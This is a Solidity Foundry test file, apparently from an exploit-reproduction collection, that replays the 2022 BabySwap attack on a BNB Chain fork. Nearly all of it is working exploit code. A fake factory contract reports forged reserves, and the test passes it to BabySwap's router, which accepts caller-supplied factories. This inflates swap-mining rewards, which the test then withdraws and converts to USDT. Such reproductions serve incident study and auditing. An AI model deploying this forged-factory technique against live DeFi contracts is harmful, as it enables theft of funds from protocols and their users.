src/test/2022-10/BabySwap_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo
8// Attacker : 0x0000000038b8889b6ab9790e20FC16fdC5714922
9// Attack Contract : https://bscscan.com/address/0xde7e741bd9dc7209b56f1ef3b663efb288c928d4
10// Vulnerable Contract : https://bscscan.com/address/0x5c9f1A9CeD41cCC5DcecDa5AFC317b72f1e49636
11// Attack Tx : https://bscscan.com/tx/0xcca7ea9d48e00e7e32e5d005b57ec3cac28bc3ad0181e4ca208832e62aa52efe
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x5c9f1A9CeD41cCC5DcecDa5AFC317b72f1e49636#code
15 
16// @Analysis
17// Twitter BlockSecTeam : https://twitter.com/BlockSecTeam/status/1576441612812836865
18 
19interface IBabySwapRouter {
20    function swapExactTokensForTokens(
21        uint256 amountIn,
22        uint256 amountOutMin,
23        address[] memory path,
24        address[] memory factories,
25        uint256[] memory fees,
26        address to,
27        uint256 deadline
28    ) external;
29}
30 
31interface ISwapMining {
32    function takerWithdraw() external;
33}
34 
35contract FakeFactory {
36    address Owner;
37    IWBNB constant WBNB_TOKEN = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
38    IUSDT constant USDT_TOKEN = IUSDT(0x55d398326f99059fF775485246999027B3197955);
39 
40    constructor() {
41        Owner = msg.sender;
42    }
43 
44    // fake pair
45    function getPair(address, /*token1*/ address /*token2*/ ) external view returns (address pair) {
46        pair = address(this);
47    }
48 
49    // fake pair
50    function getReserves() external pure returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) {
51        reserve0 = 10_000_000_000 * 1e18;
52        reserve1 = 1;
53        blockTimestampLast = 0;
54    }
55 
56    function swap(uint256, /*amount0Out*/ uint256, /*amount1Out*/ address, /*to*/ bytes calldata /*data*/ ) external {
57        if (WBNB_TOKEN.balanceOf(address(this)) > 0) WBNB_TOKEN.transfer(Owner, WBNB_TOKEN.balanceOf(address(this)));
58        // if(USDT_TOKEN.balanceOf(address(this)) > 0) USDT_TOKEN.transfer(Owner, USDT_TOKEN.balanceOf(address(this)));
59    }
60}
61 
62contract ContractTest is Test {
63    IWBNB constant WBNB_TOKEN = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
64    IUSDT constant USDT_TOKEN = IUSDT(0x55d398326f99059fF775485246999027B3197955);
65    IERC20 constant BABY_TOKEN = IERC20(0x53E562b9B7E5E94b81f10e96Ee70Ad06df3D2657);
66    IBabySwapRouter constant BABYSWAP_ROUTER = IBabySwapRouter(0x8317c460C22A9958c27b4B6403b98d2Ef4E2ad32);
67    ISwapMining constant SWAP_MINING = ISwapMining(0x5c9f1A9CeD41cCC5DcecDa5AFC317b72f1e49636);
68    address constant BABYSWAP_FACTORY = 0x86407bEa2078ea5f5EB5A52B2caA963bC1F889Da;
69 
70    function setUp() public {
71        vm.createSelectFork("bsc", 21_811_979);
72        // Adding labels to improve stack traces' readability
73        vm.label(address(WBNB_TOKEN), "WBNB_TOKEN");
74        vm.label(address(USDT_TOKEN), "USDT_TOKEN");
75        vm.label(address(BABY_TOKEN), "BABY_TOKEN");
76        vm.label(address(BABYSWAP_ROUTER), "BABYSWAP_ROUTER");
77        vm.label(address(SWAP_MINING), "SWAP_MINING");
78        vm.label(BABYSWAP_FACTORY, "BABYSWAP_FACTORY");
79        vm.label(0xE730C7B7470447AD4886c763247012DfD233bAfF, "USDT_BABY_BABYPAIR");
80    }
81 
82    function testExploit() public {
83        emit log_named_decimal_uint(
84            "[Start] Attacker USDT balance before exploit", USDT_TOKEN.balanceOf(address(this)), 18
85        );
86        (bool success,) = address(WBNB_TOKEN).call{value: 20_000}("");
87        require(success, "Transfer failed.");
88        WBNB_TOKEN.approve(address(BABYSWAP_ROUTER), type(uint256).max);
89        BABY_TOKEN.approve(address(BABYSWAP_ROUTER), type(uint256).max);
90 
91        // create fakefactory
92        FakeFactory factory = new FakeFactory();
93 
94        // swap token to claim reward
95        address[] memory path1 = new address[](2);
96        path1[0] = address(WBNB_TOKEN);
97        path1[1] = address(USDT_TOKEN);
98        address[] memory factories = new address[](1);
99        factories[0] = address(factory);
100        uint256[] memory fees = new uint256[](1);
101        fees[0] = 0;
102        BABYSWAP_ROUTER.swapExactTokensForTokens(10_000, 0, path1, factories, fees, address(this), block.timestamp);
103        // swap token to claim reward
104        address[] memory path2 = new address[](2);
105        path2[0] = address(WBNB_TOKEN);
106        path2[1] = address(BABY_TOKEN);
107        BABYSWAP_ROUTER.swapExactTokensForTokens(10_000, 0, path2, factories, fees, address(this), block.timestamp);
108 
109        // claim reward token
110        SWAP_MINING.takerWithdraw();
111        _BABYToUSDT();
112 
113        emit log_named_decimal_uint(
114            "[End] Attacker USDT balance before exploit", USDT_TOKEN.balanceOf(address(this)), 18
115        );
116    }
117 
118    /**
119     * Auxiliary function to swap all BABY to USDT
120     */
121    function _BABYToUSDT() internal {
122        address[] memory path = new address[](2);
123        path[0] = address(BABY_TOKEN);
124        path[1] = address(USDT_TOKEN);
125        address[] memory factories = new address[](1);
126        factories[0] = BABYSWAP_FACTORY;
127        uint256[] memory fees = new uint256[](1);
128        fees[0] = 3000;
129        BABYSWAP_ROUTER.swapExactTokensForTokens(
130            BABY_TOKEN.balanceOf(address(this)), 0, path, factories, fees, address(this), block.timestamp
131        );
132    }
133}